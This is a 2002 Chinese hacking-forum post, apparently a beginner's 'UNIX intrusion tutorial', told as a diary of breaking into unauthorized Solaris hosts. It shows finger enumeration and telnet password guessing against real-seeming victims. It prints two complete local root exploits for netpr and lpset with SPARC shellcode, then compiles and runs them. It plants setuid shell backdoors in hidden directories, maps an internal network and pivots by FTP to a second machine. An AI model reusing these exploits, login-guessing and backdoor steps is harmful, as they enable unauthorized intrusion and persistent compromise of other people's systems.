永远的FLASH 
级别：刀光雪影版主
威望：3
经验：1
货币：5852
体力：
来源：江苏
总发帖数：2264
注册日期：2002-02-11 |
|
 查看  邮件  主页  QQ  消息  引用  复制  下载
一篇入门级的UNIX入侵教程，献给还在苦苦找寻UNIX肉鸡的同志们！如果你觉得理解起来有困难的话那我只能对你说去好好学习基础的知识后再去攻击UNIX吧！
因为某些原因，把涉及到的IP全部换成了192.168.0.*
下面是所用到的系统列表的说明:
192.168.0.1 Windows 2000 advanced server
192.168.0.2
Solaris 7 sparc , gcc
192.168.0.3 Solaris 5.6 sparc
192.168.0.4 Solaris 8 sparc
192.168.0.10 irix 6.5.8
192.168.0.20 redhat 6.2
注：Solaris 也就是Sun os，他们的转换是：
Solaris 8 = Sunos 5.8,Solaris 7 = Sunos 5.7,Solaris 2.6 =Sunos
5.6,Solaris 2.5 =Sunos 5.5...
（你使用的平台最好为NT\Win2000\Linux\Unix，这里我用的是Win2000 ,192.168.0.1）
约定：
文章里面的“(***文字***)”是对该行命令或信息的一些说明。
所用到的工具为：
SuperScan 3.0 http://www.cnhonker.com/tmp/SuperScan.zip
SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip
里面所用到的有些程序代码请到http://lsd-pl.net/ 或 http://www.hack.co.za 查找。
入侵故事的开始
土办法，要获得第一个帐号，最简单的就是用finger 了。（其实，厚着脸皮向人要是最简单的办法。：））
扫网段端口用什么好呢，给大家一个介绍。SuperScan 3.0
大家可以在http://www.cnhonker.com/tmp/SuperScan.zip 得到我亲自汉化的3.0版本。
come on baby…
第一天：
好不容易等到下班。
打开SuperScan
3.0，（列表文件没找到错误,可以点击端口设置,再选导入，选好此软件目录里的scanner..lst
，点击完成。）在IP栏中输入你要扫描的网段，建议每次扫描在10个C段以内，在扫描类型中选中“显示主机的响应”一栏，如果你的网速慢，把“只扫描能ping的主机”也打上勾，选中“所有端口从”那个单选项，然后在框里输入开始和结束的端口，这里都填“79”，也就是finger的端口，最后点“开始”进行扫描。扫描完成后，点“剪除”去掉没开79端口的主机列表，点“散开”或者点“保存”把结果存为文本文件以便分析扫描结果。
我们通常可以看到如下几种常见的主机响应：
1. … Line User Host(s) Idle Location..
2. No one logged on.
3. Login Name TTY Idle When Where..
4. 其他响应消息或者没有内容。
其中，我们只把2,3这两种的机器找出来。
现在我们开始手工找机器，或者用流光探测finger。
手工找其实也有窍门的，但很难说清楚，这里就一律用 finger
0@ip 来找SunOS的薄弱机器。下面的IP都用xxx.xxx.xxx.xxx代替。
-------------------------------------------------test--------------------------------------------------------------
C:\>finger 0@xxx.xxx.xxx.xxx
[xxx.xxx.xxx.xxx]
finger: 0: no such user.
-------------------------------------------------test--------------------------------------------------------------
失败，这个系统应该是linux，别灰心，我们继续找。
-------------------------------------------------test--------------------------------------------------------------
C:\>finger 0@xxx.xxx.xxx.xxx
[xxx.xxx.xxx.xxx]
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
jeffrey ??? pts/0 <Jun 10 07:12> 203.66.149.11
daniel
??? 437 <Nov 8, 2000> 114cm.kcable.
jamie ??? 0 <Sep
12, 2000> 203.66.162.68
postgres ??? pts/2 <Sep 9,
2000> 203.66.162.80
nsadmin ??? 768 <Jul 4 17:26>
203.66.19.50
ho ??? 390 <Nov 23, 2000> 61.169.209.106
house18 ??? pts/1 <Jan 17 16:17> 203.66.250.1
tong ???
pts/0 <Jul 2 13:21> 210.226. 42.69
jliu ??? pts/0 <Apr
10 15:52> 203.66.52.87
ptai ??? < . . . . >
-------------------------------------------------test--------------------------------------------------------------
我们需要的就是这种，：）其中，第一列的jeffrey,Daniel,Jamie,postgres等就是这个主机上的用户名，其他的内容都是一些用户的登陆信息。
现在，我们来测试一下这些帐号的密码强度。（大家最好利用这些用户和一些密码猜解的工具配合来做，不然会感到厌倦的，不过我以前特别喜欢猜：
test:test oracle racle ….猜密码的感觉还不错。）
-------------------------------------------------test--------------------------------------------------------------
C:\>telnet xxx.xxx.xxx.xxx
SunOS 5.6 （***目标系统是SunOS
5.6 也就是Solaris 2.6***）
login: ptai （***输入用户名***）
Password: **** （***输入密码***）
Login incorrect （***登陆失败***）
login: jliu
Password:
Login incorrect
login: tong
Password:
Last login: Mon Jul 2 13:21:55 from 210.226. 42.69
（***这个用户上次登陆时的IP***）
Sun Microsystems Inc. SunOS 5.6 Generic
August 1997
You have mail. (***HOHO~登陆成功啦***)
$ uname –a
(***查看系统版本和补丁信息***)
SunOS dev01 5.6 Generic_105181-19 sun4u
sparc SUNW,Ultra-5_10
$ set (***查看一些系统变量信息***)
HOME=/export/home/tong
HZ=100
IFS=
LOGNAME=tong
MAIL=/var/mail/tong
MAILCHECK=600
OPTIND=1
PATH=/usr/bin:
PS1=$
PS2=>
SHELL=/bin/sh
TERM=ansi
TZ=Hongkong
$ gcc
gcc: not found
（***可恶，没有编译器，我们继续找其他机器吧，等会回来收拾它。***）
$ telnet localhost （***
telnet一下本地，以免这个用户下次登陆时一下发现了IP问题***）
Trying 127.0.0.1...
Connected to localhost.
Escape character is ‘^]‘.
SunOS 5.6
login: tong
Password:
Last
login: Wed Jul 4 17:56:09 from 211.99.42.226
Sun Microsystems
Inc. SunOS 5.6 Generic August 1997
You have mail.
$ exit
Connection closed by foreign host.
$ exit
遗失对主机的连接。
C:\>
-------------------------------------------------test--------------------------------------------------------------
我们继续猜解，若干时间过后，还不给我找到一个。：）
这台主机的IP用192.168.0.2代替啦。
-------------------------------------------------test--------------------------------------------------------------
C:\>finger 0@192.168.0.2
[192.168.0.2]
Login Name
TTY Idle When Where
daemon ??? < . . . . >
bin ???
< . . . . >
sys ??? < . . . . >
dennis ??? pts/5
<Jun 30 00:35> pcd209117.netvig
oracle ??? pts/5 <May
7, 2000> o2
qwork ??? < . . . . >
kenneth1 ???
pts/4 <Jun 15 19:44> cm61-18-172-213.
wing ??? pts/6 11
Wed 18:02 office
wilson ??? pts/11 <Jul 12, 2000>
203.66.200.90
srini ??? 363 <Jul 4 15:50> office
eric
??? pts/8 <Jul 3 16:05> office
render7 ??? 62 <Apr 4
00:25> 211.18.109.186
delex ??? < . . . . >
render9
??? 023 <Jul 4 17:19> office
C:\>telnet 192.168.0.2
SunOS 5.7
login: render9
Password:
Login
incorrect
login: delex
Password:
*********************************************************
# The JRun is now replaced by JServ
# To restart the
servlet server, please use
rs.sh
# However, as the
JServ will reload those classes
# inside the
"/usr/proj/gipex/class", you just
# need to remove the old class
with the new one.
*********************************************************
$ w
6:19pm up 61 day(s), 3:40, 3 users, load average: 0.11,
0.07, 0.10
User tty login@ idle JCPU PCPU what
root console
4May0161days 2 2 /usr/dt/bin/sdt_shell -c ?
u
root pts/4 Fri
4pm 5days tail -f syslog
delex pts/7 6:19pm w
$ uname -a
SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10
$w
4:24pm up 62 day(s), 1:45, 3 users, load average: 0.02,
0.02, 0.02
User tty login@ idle JCPU PCPU what
root console
4May0162days 2 2 /usr/dt/bin/sdt_shell -c ? u
root pts/4 Fri 4pm
6days tail -f syslog
$ gcc
gcc: No input files
-------------------------------------------------test--------------------------------------------------------------
HOHO~终于找到一台有编译器的SunOS啦
现在我们来简单找找前面有没有入侵者。：）
-------------------------------------------------test--------------------------------------------------------------
$ ls -al
total 14
drwxrwxr-x 2 delex staff 512 Jul 4
18:28 .
drwxr-xr-x 35 root root 1024 May 7 10:46 ..
-rw-r--r-- 1 delex staff 144 May 2 10:46 .profile
-rw-------
1 root staff 320 Jul 4 18:52 .sh_history
-rw-r--r-- 1 delex
staff 124 May 2 10:46 local.cshrc
-rw-r--r-- 1 delex staff 581
May 2 10:46 local.login
-rw-r--r-- 1 delex staff 562 May 2 10:46
local.profile
$ cat /etc/passwd (***检查/etc/passwd***)
root:x:0:1 uper-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer
Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No
Access User:/:
nobody4:x:65534:65534unOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
oracle:x:1001:100::/export/home/oracle:/bin/sh
render7:x:9589:101::/export/home/render7:/bin/sh
delex:x:1035:20::/export/home/delex:/bin/sh
ac1:x:3000:300:Agent Client 1:/export/home/ac1:/bin/sh
ac2:x:3001:300:Agent Client 2:/export/home/ac2:/bin/sh
render9:x:9591:101::/export/home/render9:/bin/sh
$ ls -al /
(***查看根目录是否有.rhosts等文件***)
total 381
drwxrwxrwx 35 root root
1024 Jun 29 16:52 .
drwxrwxrwx 35 root root 1024 Jun 29 16:52 ..
-rw------- 1 root other 152 May 4 14:39 .Xauthority
drwxrwxr-x 4 root other 512 Feb 20 10:33 .cpan
-rw------- 1
root root 1032 May 4 14:39 .cpr_config
-rw-r--r-- 1 root other
947 Apr 14 2000 .desksetdefaults
drwxr-xr-x 15 root other 512
Jun 20 13:09 .dt
-rwxr-xr-x 1 root other 5111 Apr 13 2000
.dtprofile
drwx------ 5 root other 512 Apr 14 2000 .fm
drwxr-xr-x 2 root other 512 Apr 13 2000 .hotjava
drwxr-xr-x
4 root other 512 Mar 14 17:42 .netscape
-rw------- 1 root other
1024 Dec 8 2000 .rnd
-rw-rw-r-- 1 nobody staff 402 Jun 12 11:14
.svg
drwx------ 2 root other 512 Apr 13 2000 .wastebasket
drwx------ 2 root other 512 Apr 13 2000 DeadLetters
drwx------ 2 root other 512 Apr 13 2000 Mail
drwxr-xr-x 2
root root 512 Apr 13 2000 TT_DB
drwxrwxr-x 2 moluk other 512 Dec
25 2000 XYIZNWSK
lrwxrwxrwx 1 root root 9 Apr 13 2000 bin ->
./usr/bin
drwxr-xr-x 2 root nobody 512 Jun 20 13:19 cdrom
-rw------- 1 root other 77 Jun 7 15:03 dead.letter
drwxrwxr-x 18 root sys 3584 May 4 14:39 dev
drwxrwxr-x 4
root sys 512 Apr 13 2000 devices
drwxr-xr-x 9 root root 512 Jun
12 14:47 disk2
drwxr-xr-x 32 root sys 3584 Jul 4 18:53 etc
drwxrwxr-x 3 root sys 512 Apr 13 2000 export
dr-xr-xr-x 1
root root 1 May 4 14:39 home
drwxr-xr-x 9 root sys 512 Dec 20
2000 kernel
lrwxrwxrwx 1 root root 9 Apr 13 2000 lib ->
./usr/lib
drwx------ 3 root root 8192 Apr 13 2000 lost+found
drwxrwxr-x 2 root sys 512 Apr 13 2000 mnt
dr-xr-xr-x 1 root
root 1 May 4 14:39 net
-rw-rw-r-- 1 nobody staff 13 Feb 20 16:53
newsletteradminmail.ost
drwx------ 2 root other 512 May 6 2000
nsmail
drwxrwxr-x 7 root sys 512 Apr 28 2000 opt
drwxr-xr-x
12 root sys 512 Apr 13 2000 platform
dr-xr-xr-x 192 root root
126912 Jul 4 19:00 proc
drwxrwxr-x 2 root sys 512 Dec 20 2000
sbin
drwxrwxr-x 2 root 10 512 Feb 15 14:50 snap
drwxrwxrwt 7
sys sys 986 Jul 4 19:00 tmp
drwxrwxr-x 29 root sys 1024 May 3
17:32 usr
drwxr-xr-x 26 root sys 512 Jun 12 14:49 var
dr-xr-xr-x 6 root root 512 May 4 14:39 vol
drwxr-xr-x 2 wing
10 512 Nov 6 2000 web
dr-xr-xr-x 1 root root 1 Jul 4 18:55 xfn
$ find / -user root -perm -4000 -exec ls -al {} \;
-r-s--x--x 1 root bin 19564 Sep 1 1998 /usr/lib/lp/bin/netpr
-r-sr-xr-x 1 root bin 15260 Oct 6 1998 /usr/lib/fs/ufs/quota
-r-sr-sr-x 1 root tty 174352 Nov 6 1998 /usr/lib/fs/ufs/ufsdump
-r-sr-xr-x 1 root bin 856064 Nov 6 1998
/usr/lib/fs/ufs/ufsrestore
---s--x--x 1 root bin 4316 Oct 6 1998
/usr/lib/pt_chmod
-r-sr-xr-x 1 root bin 8576 Oct 6 1998
/usr/lib/utmp_update
-rwsr-xr-x 1 root adm 5304 Sep 1 1998
/usr/lib/acct/accton
-r-sr-xr-x 1 root bin 643464 Sep 1 1998
/usr/lib/sendmail
…
…. (***结果太多这里省略了，主要是简单找找有没有其他以前的入侵者。***)
…
$ps –ef
UID PID PPID C STIME TTY TIME CMD
root 0 0
0 May 04 ? 0:01 sched
root 1 0 0 May 04 ? 1:03 /etc/init -
root 2 0 0 May 04 ? 0:01 pageout
root 3 0 1 May 04 ? 476:33
fsflush
root 225 1 0 May 04 ? 0:01 /usr/lib/utmpd
root 115 1
0 May 04 ? 0:01 /usr/sbin/rpcbind
root 299 1 0 May 04 ? 0:00
/usr/lib/saf/sac -t 300
root 52 1 0 May 04 ? 0:00
/usr/lib/devfsadm/devfseventd
root 54 1 0 May 04 ? 0:00
/usr/lib/devfsadm/devfsadmd
root 117 1 0 May 04 ? 0:00
/usr/sbin/keyserv
root 239 1 0 May 04 ? 0:13 /usr/lib/inet/xntpd
root 142 1 0 May 04 ? 0:11 /usr/sbin/inetd -s
root 163 1 0
May 04 ? 2:50 /usr/sbin/in.named
root 164 1 0 May 04 ? 0:01
/usr/lib/autofs/automountd
daemon 153 1 0 May 04 ? 0:00
/usr/lib/nfs/statd
root 275 1 0 May 04 ? 0:01
/usr/lib/nfs/mountd
root 152 1 0 May 04 ? 0:00
/usr/lib/nfs/lockd
…
…
$ netstat -an|grep LISTEN
(***查看有没有可疑端口***)
*.111 *.* 0 0 0 0 LISTEN
*.21 *.* 0 0 0 0
LISTEN
*.23 *.* 0 0 0 0 LISTEN
*.514 *.* 0 0 0 0 LISTEN
*.513 *.* 0 0 0 0 LISTEN
*.512 *.* 0 0 0 0 LISTEN
*.540
*.* 0 0 0 0 LISTEN
*.79 *.* 0 0 0 0 LISTEN
*.37 *.* 0 0 0 0
LISTEN
*.7 *.* 0 0 0 0 LISTEN
*.9 *.* 0 0 0 0 LISTEN
*.13 *.* 0 0 0 0 LISTEN
*.19 *.* 0 0 0 0 LISTEN
….
$…(***省略了对端口进行的一番测试,看有没有bind suid root shell port ***)
…
$ cd /tmp
$ ls -al
total 1314
drwxrwxrwt 7 sys sys
986 Jul 4 19:00 .
drwxrwxrwx 35 root root 1024 Jun 29 16:52 ..
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe
drwxrwxr-x
2 root root 176 May 4 14:39 .X11-unix
drwxrwxrwx 2 root root 179
May 4 14:39 .pcmcia
drwxrwxrwx 2 root other 181 Jun 20 13:18
.removable
drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door
-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class
-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0
-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb
-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf
-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data
-rw-rw-r-- 1
root other 0 Jun 20 13:18 sdtvolcheck399
-rw-r--r-- 1 root other
4 May 4 14:39 speckeysd.lock
-rw-rw-r-- 1 root sys 326236 May 7
11:30 ups_data
$strings /bin/login
…
$…
(***这里省略了对一些文件的简单测试****)
…
-------------------------------------------------test--------------------------------------------------------------
基本上没发现什么问题，来提升我们的权限吧。：）
-------------------------------------------------test--------------------------------------------------------------
$ set
EDITOR=vi
HOME=/export/home/delex
HZ=100
IFS=
LD_LIBRARY_PATH=/export/home/software/setadapters/solaris2/cgi-bin/lib:
LOGNAME=delex
MAIL=/usr/mail/delex
MAILCHECK=600
MANPATH=:/usr/share/man:/usr/local/man
OPTIND=1
PATH=/usr/bin::/usr/bin:/usr/local/bin:/usr/bin:/usr/ucb:/usr/ccs/bin:/usr/sbin:/usr/local:/usr/local/bin:/export/home/oracle/product/8.1.6/bin
PS1=$
PS2=>
SHELL=/bin/sh
TERM=vt100
TZ=Hongkong
_INIT_PREV_LEVEL=S
_INIT_RUN_LEVEL=3
_INIT_RUN_NPREV=0
_INIT_UTS_ISA=sparc
_INIT_UTS_MACHINE=sun4u
_INIT_UTS_NODENAME=develop
_INIT_UTS_PLATFORM=SUNW,Ultra-5_10
_INIT_UTS_RELEASE=5.7
_INIT_UTS_SYSNAME=SunOS
_INIT_UTS_VERSION=Generic_106541-14
$ uname -a
SunOS develop 5.7 Generic_106541-14 sun4u sparc
SUNW,Ultra-5_10
$ cd /tmp
$ cat > test.c
(***用cat命令写一个文件***)
/*## copyright LAST STAGE OF DELIRIUM dec
1999 poland *://lsd-pl.net/ #*/
/*## /usr/lib/lp/bin/netpr #*/
/* requires to specify the address of a host with 515 port
opened */
#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10"
/* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14"
/* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
char
jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;
static char
nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv){
char buffer[10000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland
//lsd-pl.net/\n");
printf("/usr/lib/lp/bin/netpr solaris 2.7
sparc\n\n");
if(argc==1){
printf("usage: %s
lpserver\n",argv[0]);
exit(-1);
}
*((unsigned
long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;
envp[0]=&buffer[0];
envp[1]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b+=4;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;
b=&buffer[5000];
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp);
}
^D
(***这里是按ctrl + d 结束写文件,你用vi来写也可以，ftp，rcp等上传也可以。***)
(***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_netpr ***)
$ ls -al /tmp (***查看test.c是否建立***)
total 1330
drwxrwxrwt
7 sys sys 1049 Jul 4 19:07 .
drwxrwxrwx 35 root root 1024 Jun 29
16:52 ..
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix
drwxrwxrwx
2 root root 179 May 4 14:39 .pcmcia
drwxrwxrwx 2 root other 181
Jun 20 13:18 .removable
drwxrwxrwt 2 root root 327 May 4 14:39
.rpc_door
-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class
-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0
-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb
-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf
-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data
-rw-rw-r-- 1
root other 0 Jun 20 13:18 sdtvolcheck399
-rw-r--r-- 1 root other
4 May 4 14:39 speckeysd.lock
-rw-rw-r-- 1 delex staff 2019 Jul 4
19:10 test.c
-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data
$ gcc -o test test.c (***一般编译用这个方式就可以了,更多资料请查看帮助***)
$
./test
copyright LAST STAGE OF DELIRIUM dec 1999 poland
//lsd-pl.net/
/usr/lib/lp/bin/netpr solaris 2.7 sparc
usage: ./test lpserver
$ ./test localhost
copyright
LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/
/usr/lib/lp/bin/netpr solaris 2.7 sparc
# id
uid=1035(delex) gid=20(staff) euid=0(root) (***成功获得root***)
# mkdir /usr/lib/...
# cp /bin/ksh /usr/lib/…/.x
(***做个简单的后门***)
# chmod +s /usr/lib/…/.x
# cat /etc/hosts
(***看看这个网络多大***)
##################################################
## Gips
Limited Server Hosts Names
## 2001-03-01 (develop)
##################################################
127.0.0.1
localhost loghost
##################################################
##
Gipex (Internal - CITIC Back-End)
192.168.2.1 office-i2
gate-citic-backend
192.168.2.5 render1 render1-i1
##################################################
##
Gipex (Internal - CITIC Office)
192.168.1.1 office-i1
gate-citic-office
##################################################
##
Gipex (Internal - iLink)
192.168.100.1 backup-i1 gate-ilink-vpn
## .2 - .9 <reserved>
192.168.100.10 www1-i1
192.168.100.11 db1 db1-i1 www0-i1 www0 www0.xxwex.com
192.168.100.12 snap1
## .13 <unused>
192.168.100.14 snap2
192.168.100.15 snap3
192.168.100.16
www2-i1 mail-i1
192.168.100.17 www2-i2 mail-i2
192.168.100.18 render2 render2-i1
192.168.100.19 render2-i2
## .20 - .252 <unused>
192.168.100.253 switch1
##
.254 <unused>
# /usr/sbin/ping 192.168.100.253
ICMP
Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)
for
icmp from develop (192.168. 0.2) to www1-i1 (192.168.100.253)
ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)
for icmp from develop (192.168.0.2) to www1-i1 (192.168.100.253)
ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)
for icmp from develop (192.168.0.2) to www1-i1 (192.168.100.253)
^C （***局域网是连通的 ***）
#
-------------------------------------------------test--------------------------------------------------------------
以后有空再慢慢搞它的内部网吧
现在先回去把那台SunOS 5.6干掉。
-------------------------------------------------test--------------------------------------------------------------
# cat >lpset.c
(***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_lpset ***)
/*## copyright LAST STAGE OF DELIRIUM apr 2000 poland
*://lsd-pl.net/ #*/
/*## /usr/bin/lpset #*/
#define
NOPNUM 864
#define ADRNUM 132
#define ALLIGN 3
char
shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10"
/* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14"
/* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
char
jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;
static char
nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv){
char buffer[10000],adr[4],*b;
int i;
printf("copyright LAST STAGE OF DELIRIUM apr 2000 poland
//lsd-pl.net/\n");
printf("/usr/bin/lpset for solaris 2.6 2.7
sparc\n\n");
*((unsigned long*)adr)=(*(unsigned
long(*)())jump)()+10088+400;
b=buffer;
sprintf(b,"xxx=");
b+=4;
for(i=0;i<2;i++) *b++=0xff;
for(i=0;i<NOPNUM-4;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<ADRNUM;i++)
*b++=adr[i%4];
*b=0;
execle("/usr/bin/lpset","lsd","-n","xfn","-a",buffer,"printer",0,0);
}
^D
# gcc -o lpset lpset.c
/bin/ksh: gcc: not
found
# exit
$ gcc -o lpset lpset.c
$ ls -al
total
1410
drwxrwxrwt 7 sys sys 1236 Jul 4 20:33 .
drwxrwxrwx 35
root root 1024 Jul 4 19:15 ..
drwxrwxr-x 2 root root 176 May 4
14:39 .X11-pipe
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix
drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia
drwxrwxrwx 2
root other 181 Jun 20 13:18 .removable
drwxrwxrwt 2 root root
327 May 4 14:39 .rpc_door
-rwxrwxr-x 1 root other 614 May 8
11:17 EncTest.class
-rw------- 1 root other 265936 May 4 14:40
dtdbcache_:0
-rwxrwxr-x 1 delex staff 8572 Jul 4 20:33 lpset
-rw-rw-r-- 1 delex staff 1685 Jul 4 20:32 lpset.c
-rw-------
1 render9 render 0 May 8 11:42 mpcRaOhb
-rw------- 1 render9
render 0 May 8 13:02 mptWaGYf
-rw-rw-r-- 1 root sys 5248 May 4
14:39 ps_data
-rw-rw-r-- 1 root other 0 Jun 20 13:18
sdtvolcheck399
-rw-r--r-- 1 root other 4 May 4 14:39
speckeysd.lock
-rwxrwxr-x 1 delex staff 8916 Jul 4 19:13 test
-rw-rw-r-- 1 delex staff 2019 Jul 4 19:10 test.c
-rw-rw-r--
1 root sys 326236 May 7 11:30 ups_data
$ ftp 192.168.0.3
Connected to 192.168.0.3.
220 dev01 FTP server (SunOS 5.6)
ready.
Name (192.168.0.2 elex): tong
331
Password required for tong.
Password:
230 User tong logged
in.
ftp> cd /tmp
250 CWD command successful.
ftp>
bin （***设置上传模式为二进制***）
200 Type set to I.
ftp> put lpset
200 PORT command successful.
150 Binary data connection for
lpset (192.168.0.2,49105).
226 Transfer complete.
local:
lpset remote: lpset
8572 bytes sent in 0.00054 seconds (15617.71
Kbytes/s)
ftp> by
221 Goodbye.
$ telnet 192.168.0.3
Trying 192.168.0.3...
Connected to 192.168.0.3.
Escape
character is ‘^]‘.
SunOS 5.6
login: tong
Password:
Last login: Wed Jul 4 20:31:37 from 192.168.0.2
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have
mail.
$ /tmp/lpset
/tmp/lpset: cannot execute
$ chmod
755 /tmp/lpset
$ /tmp/lpset
copyright LAST STAGE OF DELIRIUM
apr 2000 poland //lsd-pl.net/
/usr/bin/lpset for solaris 2.6 2.7
sparc
# id
uid=107(tong) gid=10(staff) euid=0(root)
（***HOHO~死了没？***）
#mkdir /usr/lib/…
#cp /bin/ksh
/usr/lib/…/.x
#chmod +s /usr/lib/…/.x
#exit
$ exit
Connection closed by foreign host. (***不管啦，脚印也不擦啦***)
$exit
遗失对主机的连接。
C:\>
-------------------------------------------------test--------------------------------------------------------------
哦，怎么不干了？断开连接了？连脚印都不擦？
嘿嘿，兄弟，现在是21:00啦，还要赶地铁呢。本来20:30就要走啦，明天继续吧，管不了那么多啦。大家先回去看我以前的教程，温习一下该怎么擦PP。为了节省版面，这篇教程不会出现擦PP的啦，自己要懂得擦干净哦。：）
对了，明天要学习远程溢出的利用，然后找几台redhat回来。
回去啦，肚子也饿啦，明天见~~
zzzZZZZZZ~~~~~~~~
|
首页 
小榕软件实验室 
刀光雪影 
UNIX入侵教程（上）[分享] 
将此页发给您的朋友
编辑
删除
发表于
2002-03-24.14:40:18 
IP: 
.gif)
